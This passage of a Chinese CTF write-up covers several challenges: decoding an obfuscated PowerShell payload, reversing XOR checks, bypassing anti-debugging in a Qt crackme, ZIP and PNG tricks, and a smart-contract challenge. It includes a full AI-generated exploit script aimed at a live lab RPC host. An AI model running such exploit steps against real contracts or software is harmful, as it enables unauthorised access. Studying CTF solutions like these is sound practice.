print("\n--- 分析结束 ---")
又得到一串powershell代码,里面有串加密的hex值,再给ai去处理一下
解出来有个图片,访问一下下载下来,010看看
发现是被处理过的powershell代码
丢给gemini让他写个分析的脚本
import re
def parse_obfuscated_ps1(file_path):
"""
解析经过混淆的 PowerShell 脚本文件,并提取其隐藏的真实代码。
参数:
file_path (str): s.ps1 文件的路径。
返回:
str: 解码后的 PowerShell 脚本内容,如果解析失败则返回错误信息。
"""
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
except Exception as e:
return f"错误:无法读取文件 {file_path}。原因: {e}"
# 1. 根据脚本逻辑,定义从变量名到对应数字(字符串形式)的映射
# 这些值是通过分析 s.ps1 文件第一部分的变量赋值得到的
# $u=0, $b=1, $q=2, $z=3, $o=4, $d=5, $h=6, $e=7, $i=8, $l=9, $x=6
var_map = {
'u': '0', 'b': '1', 'q': '2', 'z': '3', 'o': '4',
'd': '5', 'h': '6', 'e': '7', 'i': '8', 'x': '6', 'l': '9'
}
# 2. 从完整脚本中定位并提取核心载荷部分
# 载荷是以 "$g" 开头,由 "+" 连接的大量字符串
match = re.search(r'\(\$g(.+)\)', content, re.DOTALL)
if not match:
return "错误:未能在文件中找到预期的混淆载荷格式。"
payload = match.group(1)
# 3. 移除加号,并按 "$g" 分割成代表各个字符编码的块
payload = payload.replace('+', '')
char_code_chunks = payload.split('$g')
# 4. 解码每个块
decoded_script = ""
# 第一个块是空的,从第二个开始遍历
for chunk in char_code_chunks:
if not chunk:
continue
num_str = ""
# 将块中的每个字符变量替换为其对应的数字
for char_var in chunk:
num_str += var_map.get(char_var, '')
if num_str:
try:
# 将数字字符串转换为整数,再通过 chr() 转换为对应的 ASCII 字符
char_code = int(num_str)
decoded_script += chr(char_code)
except (ValueError, OverflowError):
# 如果转换失败,则忽略这个块
pass
return decoded_script
# --- 使用示例 ---
# 请将 's.ps1' 替换为您文件的实际路径
file_to_parse = 's.ps1'
deobfuscated_code = parse_obfuscated_ps1(file_to_parse)
print("--- 解码后的 PowerShell 脚本 ---")
print(deobfuscated_code)
解出来就有了
obfusheader.h
知识点省流
动调跟踪数据流
WP
先去花
然后开始分析,搜索字符串找到输入的地方
定位到函数中,打上硬件断点,开始调试
简单测试一下可以知道输入长度是40,0x28
往下走,这里计算了字符串长度
接着往下走,这里函数进行了异或
接着往下走,提取密文
然后拿厨子跟我们输入的a解异或得到异或的key
接着调试,往下走,这里函数执行了一波高低位互换取反
接着走,直到程序输出加密完成,这里就是我们要的密文
提出密文,搓脚本还原,将前面的高低位互换取反逆向回去就好
enc = [0x5C,0xAF,0xB0,0x1C,0xFC,0xEF,0xC7,0x8D,0x03,0xCF,0x00,0x39,0x41,0xBE,0x47,0x2D,0x1C,0x48,0xFD,0xFA,0x7F,0x0F,0xD0,0xFA,0xFA,0x68,0x83,0xFD,0x73,0xA8,0x06,0x1E,0xCC,0x7B,0x42,0xAC,0x67,0xBB,0xDD,0x1B]
def decode_byte(b):
b = ~b & 0xFF # 取反并确保保持8位
return ((b >> 4) | (b << 4)) & 0xFF # 高低4位交换
result = [decode_byte(b) for b in enc]
print(result)
最后在厨子那再处理一下,然后用前面的key去异或即可得到flag
Qt_Creator
知识点省流
qt程序逆向
WP
简单的qt逆向
装好之后拿ida分析,发现调试就退出 应该是有反调试
字符串搜索找到debugger,定位到exit的部分,将他force jump一下就能绕过反调试
进程序里走一下流程,发现注册码错了之后会直接退出程序,所以我们可以直接定位exit的函数调用的位置,去确定注册码判定的函数在哪里
简单找一下就能确定这里是关键函数,其中进行了字符串的比对判断
在v23处打断点后动调,输入内容并确认后,跳转到v23对应的地址,然后数据类型转换
双击进入即可看到下面的flag
Misc
v我50(R)MB
知识点省流
奇妙的用户侧数据泄露(?)
WP
根据题目的意思就是留了张原图没删干净,可以在用户侧获取,那么考虑的就是前端url、network是否有多余的请求、有没有本地缓存什么的
看了看都不行
遂抓包,抓那个图片的链接
一抓发现抓到的就是完整的图,导出来就行(很神奇不知道什么原理)
提前放出附件
知识点省流
压缩包明文攻击-tar变种
WP
给了个store存储的加密zip
明文攻击,里面是个tar,010分析一下发现有很多0,直接拿0来做明文,秒了
PNG Master
知识点省流
png考点小串烧
WP
给了png
lsb藏了一段flag
010图片末尾藏了一段flag
最后的idat块提取出来zlib解压得到一个压缩包,里面两个文档
其中一个里面有零宽字节,解出来提示是文件名xor
拿secret跟里面的内容异或得到第三段flag
Blockchain
生蚝的宝藏
知识点省流
有点小套的区块链源码反汇编解密
WP
没有给代码,只有靶机,连接后选项1创建账号,2生成合约
梭个脚本去读取合约中的字节码
import requests
import json
RPC_URL = "http://106.15.138.99:8545/"
TX_HASH = "0xc73e1c61aecf5846967e7b5c5b247368ee8e10f6e983909ed49c8c595d46678f"
CONTRACT_ADDR = "0xb060167a0935147ec47d42c063D598F9D1bdd930"
TOKEN = "v4.local.bNTzLDPFWah18XcBPIxDtYcu28miMffUqUrVOLqJLbcm8fI_K_fUIGHArL-GDxoOK7UryKCbrBtV0AC5gW1RfEdvJLhSoPfKBEA9s7mQyzf7TLRoEC0hGsb4b9aI4zijrGjP1x27o4c-7oceSmbWtGUWj1oZtKkIjpupz49RZ0OjOw.T3lzdGVyVHJlYXN1cmU"
headers = {"Authorization": f"Bearer {TOKEN}"}
# Slot 0
payload_storage = {
"jsonrpc": "2.0",
"method": "eth_getStorageAt",
"params": [CONTRACT_ADDR, "0x0", "latest"],
"id": 1
}
slot_0 = requests.post(RPC_URL, json=payload_storage).json().get('result')
print("Slot 0:", slot_0)
def get_tx():
payload = {
"jsonrpc": "2.0",
"method": "eth_getTransactionByHash",
"params": [TX_HASH],
"id": 1
}
try:
print("尝试请求交易信息...")
resp = requests.post(RPC_URL, json=payload, headers=headers, timeout=10).json()
data = resp.get('result')
if data is None:
print("无返回内容:", json.dumps(resp, indent=2))
else:
# 打印 json 格式内容
print(json.dumps(data, indent=2) if not isinstance(data, str) else data)
return data
except Exception as e:
print("请求失败:", e)
tx_content = get_tx()
得到一串input数据,看开头6080确定是合约字节码,同时丢给厨子解一下
得到半个flag说是(同时这串flag的hex值正好是46位,这是伏笔)
反汇编一下合约字节码 https://app.dedaub.com/decompile
上面input的内容给的是字节码,用反编译网站反编译一下得到了伪代码
// Decompiled by library.dedaub.com
// 2025.08.15 13:23 UTC
// Compiled using the solidity compiler version 0.8.9
// Data structures and variables inferred from the use of storage instructions
uint256[] ___function_selector__; // STORAGE[0x0]
bool stor_1_0_0; // STORAGE[0x1] bytes 0 to 0
// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function __function_selector__() public payable {
MEM[64] = 128;
require(!msg.value);
MEM[MEM[64]:MEM[64] + this.code.size - 2032] = this.code[2032:2032 + this.code.size - 2032];
MEM[64] = MEM[64] + (this.code.size - 2032);
require(MEM[64] + (this.code.size - 2032) - MEM[64] >= 32);
require(MEM[MEM[64]] <= uint64.max);
require(MEM[64] + MEM[MEM[64]] + 31 < MEM[64] + (this.code.size - 2032));
v0 = MEM[MEM[64] + MEM[MEM[64]]];
require(v0 <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
require(!((MEM[64] + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & v0 + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < MEM[64]) | (MEM[64] + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & v0 + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max)), Panic(65)); // failed memory allocation (too much memory)
MEM[64] = MEM[64] + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & v0 + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0);
require(MEM[64] + MEM[MEM[64]] + v0 + 32 <= MEM[64] + (this.code.size - 2032));
v1 = v2 = 0;
while (v1 < v0) {
MEM[32 + (v1 + MEM[64])] = MEM[32 + (v1 + (MEM[64] + MEM[MEM[64]]))];
v1 += 32;
}
if (v1 > v0) {
MEM[MEM[64] + v0 + 32] = 0;
}
require(v0 <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
v3 = new bytes[](v0);
if (v0) {
CALLDATACOPY(v3.data, msg.data.length, v0);
}
v4 = v5 = 0;
while (v4 < v0) {
require(v6.length, Panic(18)); // division by zero
require(v4 % v6.length < v6.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
require(v4 < v0, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
require(v4 < v3.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
MEM8[32 + v4 + v3] = (byte(bytes1((MEM[32 + v4 + MEM[64]] >> 248 << 248 >> 248 ^ v6[v4 % v6.length] >> 248 << 248 >> 248) << 248), 0x0)) & 0xFF;
require(v4 != uint256.max, Panic(17)); // arithmetic overflow or underflow
v4 += 1;
}
v7 = v8 = v3.data;
v9 = v10 = ___function_selector__.length >> 1;
if (!(___function_selector__.length & 0x1)) {
v9 = v11 = v10 & 0x7f;
}
require(___function_selector__.length & 0x1 != v9 < 32, Panic(34)); // access to incorrectly encoded storage byte array
v12 = v13 = ___function_selector__.data;
if (v3.length) {
if (31 < v3.length) {
___function_selector__.length = 1 + (v3.length + v3.length);
if (v3.length) {
while (v8 + v3.length > v7) {
STORAGE[v12] = MEM[v7];
v7 += 32;
v12 += 1;
}
}
} else {
___function_selector__.length = v3.length + v3.length | bytes31(MEM[v8]);
}
} else {
___function_selector__.length = 0;
}
while (v13 + (31 + v9 >> 5) > v12) {
STORAGE[v12] = 0;
v12 += 1;
}
stor_1_0_0 = 0;
MEM[0:1113] = 0x608060405234801561001057600080fd5b50600436106100365760003560e01c80635cc4d8121461003b57806364d98f6e14610050575b600080fd5b61004e61004936600461023a565b61006a565b005b60015460ff16604051901515815260200160405180910390f35b61007381610112565b60405160200161008391906102eb565b6040516020818303038152906040528051906020012060006040516020016100ab9190610326565b60405160208183030381529060405280519060200120146101035760405162461bcd60e51b815260206004820152600e60248201526d57726f6e6720547265617375726560901b604482015260640160405180910390fd5b506001805460ff191681179055565b60408051808201909152600c81526b35b2bcaf9b9b9a1c1b331ab360a11b60208201528151606091839160009067ffffffffffffffff81111561015757610157610224565b6040519080825280601f01601f191660200182016040528015610181576020820181803683370190505b50905060005b835181101561021b578283518261019e91906103c2565b815181106101ae576101ae6103e4565b602001015160f81c60f81b60f81c8482815181106101ce576101ce6103e4565b602001015160f81c60f81b60f81c1860f81b8282815181106101f2576101f26103e4565b60200101906001600160f81b031916908160001a90535080610213816103fa565b915050610187565b50949350505050565b634e487b7160e01b600052604160045260246000fd5b60006020828403121561024c57600080fd5b813567ffffffffffffffff8082111561026457600080fd5b818401915084601f83011261027857600080fd5b81358181111561028a5761028a610224565b604051601f8201601f19908116603f011681019083821181831017156102b2576102b2610224565b816040528281528760208487010111156102cb57600080fd5b826020860160208301376000928101602001929092525095945050505050565b6000825160005b8181101561030c57602081860181015185830152016102f2565b8181111561031b576000828501525b509190910192915050565b600080835481600182811c91508083168061034257607f831692505b602080841082141561036257634e487b7160e01b86526022600452602486fd5b8180156103765760018114610387576103b4565b60ff198616895284890196506103b4565b60008a81526020902060005b868110156103ac5781548b820152908501908301610393565b505084890196505b509498975050505050505050565b6000826103df57634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052603260045260246000fd5b600060001982141561041c57634e487b7160e01b600052601160045260246000fd5b506001019056fea26469706673582212200a7575430b832102af3c40db1c12a0d56fa049f68938ec701ae34a9d6e24662b64736f6c63430008090033;
return MEM[0:1113];
}
上面的代码中还有一层字节码,接着反汇编,得到下面最关键的部分
// Decompiled by library.dedaub.com
// 2025.08.15 16:53 UTC
// Compiled using the solidity compiler version 0.8.9
// Data structures and variables inferred from the use of storage instructions
uint256[] array_0; // STORAGE[0x0]
bool _isSolved; // STORAGE[0x1] bytes 0 to 0
function fallback() public payable {
revert();
}
function 0x5cc4d812(bytes varg0) public payable {
require(msg.data.length - 4 >= 32);
require(varg0 <= uint64.max);
require(4 + varg0 + 31 < msg.data.length);
require(varg0.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
v0 = new bytes[](varg0.length);
require(!((v0 + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & varg0.length + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < v0) | (v0 + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & varg0.length + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max)), Panic(65)); // failed memory allocation (too much memory)
require(4 + varg0 + varg0.length + 32 <= msg.data.length);
CALLDATACOPY(v0.data, varg0.data, varg0.length);
v0[varg0.length] = 0;
require(v0.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
v1 = new bytes[](v0.length);
if (v0.length) {
CALLDATACOPY(v1.data, msg.data.length, v0.length);
}
v2 = v3 = 0;
while (v2 < v0.length) {
require(v4.length, Panic(18)); // division by zero
require(v2 % v4.length < v4.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
require(v2 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
require(v2 < v1.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
MEM8[32 + v2 + v1] = (byte(bytes1((v0[v2] >> 248 << 248 >> 248 ^ v4[v2 % v4.length] >> 248 << 248 >> 248) << 248), 0x0)) & 0xFF;
require(v2 != uint256.max, Panic(17)); // arithmetic overflow or underflow
v2 += 1;
}
v5 = new uint256[](v1.length + v5.data - MEM[64] - 32);
v6 = v7 = 0;
while (v6 < v1.length) {
MEM[v6 + v5.data] = v1[v6];
v6 += 32;
}
if (v6 > v1.length) {
MEM[v5.data + v1.length] = 0;
}
MEM[64] = v1.length + v5.data;
v8 = v5.length;
v9 = v5.data;
v10 = new uint256[](v11 - MEM[64] - 32);
v11 = v12 = 0;
v13 = v14 = array_0.length >> 1;
if (!(array_0.length & 0x1)) {
v13 = v15 = v14 & 0x7f;
}
require(array_0.length & 0x1 != v13 < 32, Panic(34)); // access to incorrectly encoded storage byte array
if (!(array_0.length & 0x1)) {
MEM[v10.data] = bytes31(array_0.length);
v11 = v16 = v10.data + v13;
} else if (array_0.length & 0x1 == 1) {
v17 = v18 = array_0.data;
v19 = v20 = 0;
while (v19 < v13) {
MEM[v19 + v10.data] = STORAGE[v17];
v17 += 1;
v19 += 32;
}
v11 = v21 = v10.data + v13;
}
v22 = v10.length;
v23 = v10.data;
require(keccak256(v10) == keccak256(v5), Error('Wrong Treasure'));
_isSolved = 1;
}
function isSolved() public payable {
return _isSolved;
}
// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function __function_selector__( function_selector) public payable {
MEM[64] = 128;
require(!msg.value);
if (msg.data.length >= 4) {
if (0x5cc4d812 == function_selector >> 224) {
0x5cc4d812();
} else if (0x64d98f6e == function_selector >> 224) {
isSolved();
}
}
fallback();
}
经过摸索,大概确定下来就是,我们需要传入一个数据,他跟代码中的某个key异或后,要等于合约中array_0的值,这样issolved就可以变为1了
问题在于key是什么,array_0是可以写脚本输出的,得到了key就可以将需要传入的数据给逆推出来
经过各种尝试和ai拷打都没有结果
后面我注意到两点
一个是array_0的长度是46字节,而前面提到的这个字节码中的hex值也是46字节(对这串hex再转成hex)
太巧了这个,所以我根据伪代码中的异或逻辑,将这两个值异或了,结果没想到居然出了明文
这时候我以为这半串flag的hex的hex值就是key了,结果试了下还是不行
过了会又想到可能真正的key是'key_77486f5f'
试了一下就出了,又被套娃到了
exp如下,需要手动去水龙头那给一下eth,gemini和claude都给出了能提交的脚本,下面这版是claude的
#!/usre/bin/env python3
import socket
import re
import time
import requests
from web3 import Web3
from eth_account import Account
from Crypto.Hash import keccak
import json
# Configuration
RPC_URL = "http://106.15.138.99:8545/"
FAUCET_URL = "http://106.15.138.99:8080/"
NC_HOST = "challenge.xinshi.fun"
NC_PORT = 44088
def connect_nc(host, port):
"""Connect to NC server"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
return s
def send_and_receive(sock, message, timeout=2):
"""Send message and receive response"""
sock.send((message + '\n').encode())
time.sleep(timeout)
data = b''
sock.settimeout(0.5)
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
except socket.timeout:
break
return data.decode('utf-8', errors='ignore')
def create_account():
"""Step 1: Create account and get token"""
print("[*] Creating account...")
sock = connect_nc(NC_HOST, NC_PORT)
# Receive initial message
initial = send_and_receive(sock, "", timeout=1)
print(initial)
# Send choice 1
response = send_and_receive(sock, "1")
print(response)
# Parse deployer account and token
deployer_match = re.search(r'deployer account: (0x[a-fA-F0-9]{40})', response)
token_match = re.search(r'token: ([^\s]+)', response)
if not deployer_match or not token_match:
raise Exception("Failed to parse account info")
deployer_address = deployer_match.group(1)
token = token_match.group(1)
sock.close()
print(f"[+] Deployer Address: {deployer_address}")
print(f"[+] Token: {token}")
return deployer_address, token
def get_faucet(address, token):
"""Get test ETH from faucet"""
print(f"[*] Getting ETH from faucet for {address}...")
headers = {
'Authorization': f'Bearer {token}',
'Content-Type': 'application/json'
}
data = {
'address': address
}
try:
response = requests.post(FAUCET_URL, headers=headers, json=data)
print(f"[+] Faucet response: {response.status_code}")
if response.status_code == 200:
print("[+] Successfully got ETH from faucet")
else:
print(f"[!] Faucet request may have failed: {response.text}")
except Exception as e:
print(f"[!] Faucet error: {e}")
# Wait for transaction to be mined
time.sleep(5)
def wait_for_eth(address, min_balance=0.001, timeout=200):
"""Wait for ETH to arrive in account"""
print(f"[*] Waiting for ETH in account {address}...")
print(f"[*] Minimum balance required: {min_balance} ETH")
print(f"[*] Timeout: {timeout} seconds")
w3 = Web3(Web3.HTTPProvider(RPC_URL))
start_time = time.time()
while time.time() - start_time < timeout:
try:
balance = w3.eth.get_balance(address)
balance_eth = w3.from_wei(balance, 'ether')
if balance_eth >= min_balance:
print(f"[+] Balance found: {balance_eth} ETH")
return True
else:
elapsed = int(time.time() - start_time)
print(f"[*] Checking... Current balance: {balance_eth} ETH | Time elapsed: {elapsed}s", end='\r')
time.sleep(2)
except Exception as e:
print(f"[!] Error checking balance: {e}")
time.sleep(2)
print(f"\n[!] Timeout: No sufficient ETH received after {timeout} seconds")
return False
def deploy_contract(token):
"""Step 2: Deploy contract"""
print("[*] Deploying contract...")
sock = connect_nc(NC_HOST, NC_PORT)
# Receive initial message
initial = send_and_receive(sock, "", timeout=1)
# Send choice 2
response = send_and_receive(sock, "2")
# Send token
response = send_and_receive(sock, token, timeout=5)
print(response)
# Parse contract address
contract_match = re.search(r'contract address: (0x[a-fA-F0-9]{40})', response)
tx_match = re.search(r'transaction hash: (0x[a-fA-F0-9]{64})', response)
if not contract_match:
# Check for error message
if "send test ether" in response.lower():
print("[!] Insufficient ETH for deployment")
raise Exception("Failed to parse contract address")
contract_address = contract_match.group(1)
tx_hash = tx_match.group(1) if tx_match else None
sock.close()
print(f"[+] Contract Address: {contract_address}")
print(f"[+] Transaction Hash: {tx_hash}")
return contract_address, tx_hash
def solve_challenge(contract_address, deployer_address, token):
"""Solve the CTF challenge"""
print(f"[*] Solving challenge for contract {contract_address}...")
# Connect to Web3
w3 = Web3(Web3.HTTPProvider(RPC_URL))
# Create a new account for solving (since we don't have the deployer's private key)
solver_account = Account.create()
solver_address = solver_account.address
solver_private_key = solver_account.key.hex()
print(f"[+] Solver Address: {solver_address}")
print(f"[+] Solver Private Key: {solver_private_key}")
# Get ETH for solver account from faucet
print("[*] Getting ETH for solver account...")
get_faucet(solver_address, token)
# Wait for ETH to arrive
if not wait_for_eth(solver_address, min_balance=0.001, timeout=160):
print("[!] Failed to get ETH for solver account")
return False
# Get the storage value at slot 0 (array_0)
print("[*] Reading contract storage...")
# Read storage slot 0 to get array length and data
slot0 = w3.eth.get_storage_at(contract_address, 0)
print(f"[+] Storage slot 0: {slot0.hex()}")
# Parse the array data based on Solidity storage layout
array_length_raw = int.from_bytes(slot0, 'big')
if array_length_raw & 1 == 0:
# Short array (length < 32), data is in slot 0
array_length = (array_length_raw) >> 1 # Remove the encoding
print(f"[+] Short array, length: {array_length}")
# For short arrays, the length is encoded in the last byte
# and the data fills the rest of the slot from the beginning
actual_length = slot0[-1] >> 1 # Last byte contains length*2
array_data = slot0[:actual_length]
print(f"[+] Actual array length from last byte: {actual_length}")
print(f"[+] Array data: {array_data.hex()}")
else:
# Long array (length >= 32)
array_length = (array_length_raw - 1) // 2
print(f"[+] Long array, length: {array_length}")
# Calculate storage slot for array data
slot_hash = Web3.keccak(b'\x00' * 32)
# Read array data from storage
array_data = b''
num_slots = (array_length + 31) // 32
for i in range(num_slots):
slot_index = int.from_bytes(slot_hash, 'big') + i
slot_data = w3.eth.get_storage_at(contract_address, slot_index)
array_data += slot_data
array_data = array_data[:array_length]
print(f"[+] Array data: {array_data.hex()}")
# The XOR key from the decompiled code
# Looking at the decompiled code: shl(0xa1, 0x35b2bcaf9b9b9a1c1b331ab3)
# This is a 13-byte key
xor_key = bytes.fromhex('6b65795f3737343836663566') #key_77486f5f的hex值
print(f"[+] XOR key: {xor_key.hex()}")
print(f"[+] Stored array (plaintext): {array_data.hex()}")
# The contract expects us to send the encrypted data
# So we need to XOR the stored plaintext with the key to get the encrypted version
encrypted_treasure = bytearray()
for i in range(len(array_data)):
encrypted_treasure.append(array_data[i] ^ xor_key[i % len(xor_key)])
print(f"[+] Encrypted treasure to send: {bytes(encrypted_treasure).hex()}")
# Prepare the function call
# Function selector for 0x5cc4d812
function_selector = '5cc4d812' # Remove 0x prefix
# ABI encode the bytes parameter
# Format: selector + offset(32 bytes) + length(32 bytes) + data(padded to 32 bytes)
offset = (32).to_bytes(32, 'big') # Offset to dynamic data
length = len(encrypted_treasure).to_bytes(32, 'big') # Length of bytes
# Pad data to multiple of 32 bytes
padded_data = bytes(encrypted_treasure)
if len(padded_data) % 32 != 0:
padded_data += b'\x00' * (32 - len(padded_data) % 32)
# Construct call data
call_data = bytes.fromhex(function_selector) + offset + length + padded_data
print(f"[+] Call data: {call_data.hex()}")
# Build transaction
try:
nonce = w3.eth.get_transaction_count(solver_address)
gas_price = w3.eth.gas_price
transaction = {
'to': contract_address,
'from': solver_address,
'data': call_data,
'gas': 500000,
'gasPrice': gas_price,
'nonce': nonce,
'chainId': w3.eth.chain_id
}
# Sign and send transaction
signed_tx = w3.eth.account.sign_transaction(transaction, solver_private_key)
# Use the correct attribute name for different versions of eth-account
try:
raw_tx = signed_tx.rawTransaction
except AttributeError:
raw_tx = signed_tx.raw_transaction
tx_hash = w3.eth.send_raw_transaction(raw_tx)
print(f"[+] Transaction sent: {tx_hash.hex()}")
# Wait for transaction receipt
print("[*] Waiting for transaction to be mined...")
receipt = w3.eth.wait_for_transaction_receipt(tx_hash, timeout=120)
if receipt.status == 1:
print("[+] Transaction successful!")
print(f"[+] Gas used: {receipt.gasUsed}")
# Check if isSolved() returns true
# Function selector for isSolved(): 0x64d98f6e
result = w3.eth.call({
'to': contract_address,
'data': '0x64d98f6e'
})
is_solved = int.from_bytes(result, 'big') == 1
print(f"[+] isSolved() = {is_solved}")
return is_solved
else:
print(f"[!] Transaction failed! Status: {receipt.status}")
print(f"[!] Gas used: {receipt.gasUsed}")
# Try to get revert reason
try:
w3.eth.call(transaction, receipt.blockNumber)
except Exception as revert_error:
print(f"[!] Revert reason: {revert_error}")
return False
except Exception as e:
print(f"[!] Transaction error: {e}")
import traceback
traceback.print_exc()
return False
def get_flag(token):
"""Step 3: Get flag"""
print("[*] Getting flag...")
sock = connect_nc(NC_HOST, NC_PORT)
# Receive initial message
initial = send_and_receive(sock, "", timeout=1)
# Send choice 3
response = send_and_receive(sock, "3")
# Send token
response = send_and_receive(sock, token, timeout=3)
print(response)
sock.close()
# Parse flag
flag_match = re.search(r'(flag\{[^}]+\})', response, re.IGNORECASE)
if flag_match:
flag = flag_match.group(1)
print(f"\n[+] FLAG: {flag}")
return flag
else:
print("[!] Flag not found in response")
return None
def main():
"""Main function to run the entire exploit"""
print("=" * 60)
print("CTF Challenge Solver")
print("=" * 60)
try:
# Step 1: Create account and get token
deployer_address, token = create_account()
# Try to get ETH from faucet
get_faucet(deployer_address, token)
# Wait for ETH to arrive (200 seconds timeout, check every 2 seconds)
print("\n[*] Waiting for ETH to arrive in deployer account...")
print("[*] You can manually send ETH or wait for faucet...")
if not wait_for_eth(deployer_address, min_balance=0.001, timeout=200):
print("[!] Failed to get sufficient ETH. Exiting...")
return
print("\n[+] ETH received! Proceeding with deployment...")
# Step 2: Deploy contract
contract_address, tx_hash = deploy_contract(token)
# Wait for deployment
time.sleep(5)
# Step 3: Solve challenge
solved = solve_challenge(contract_address, deployer_address, token)
if solved:
# Step 4: Get flag
flag = get_flag(token)
print("\n[+] Challenge completed successfully!")
else:
print("\n[!] Failed to solve challenge")
except Exception as e:
print(f"\n[!] Error: {e}")
import traceback
traceback.print_exc()
if __name__ == "__main__":
main()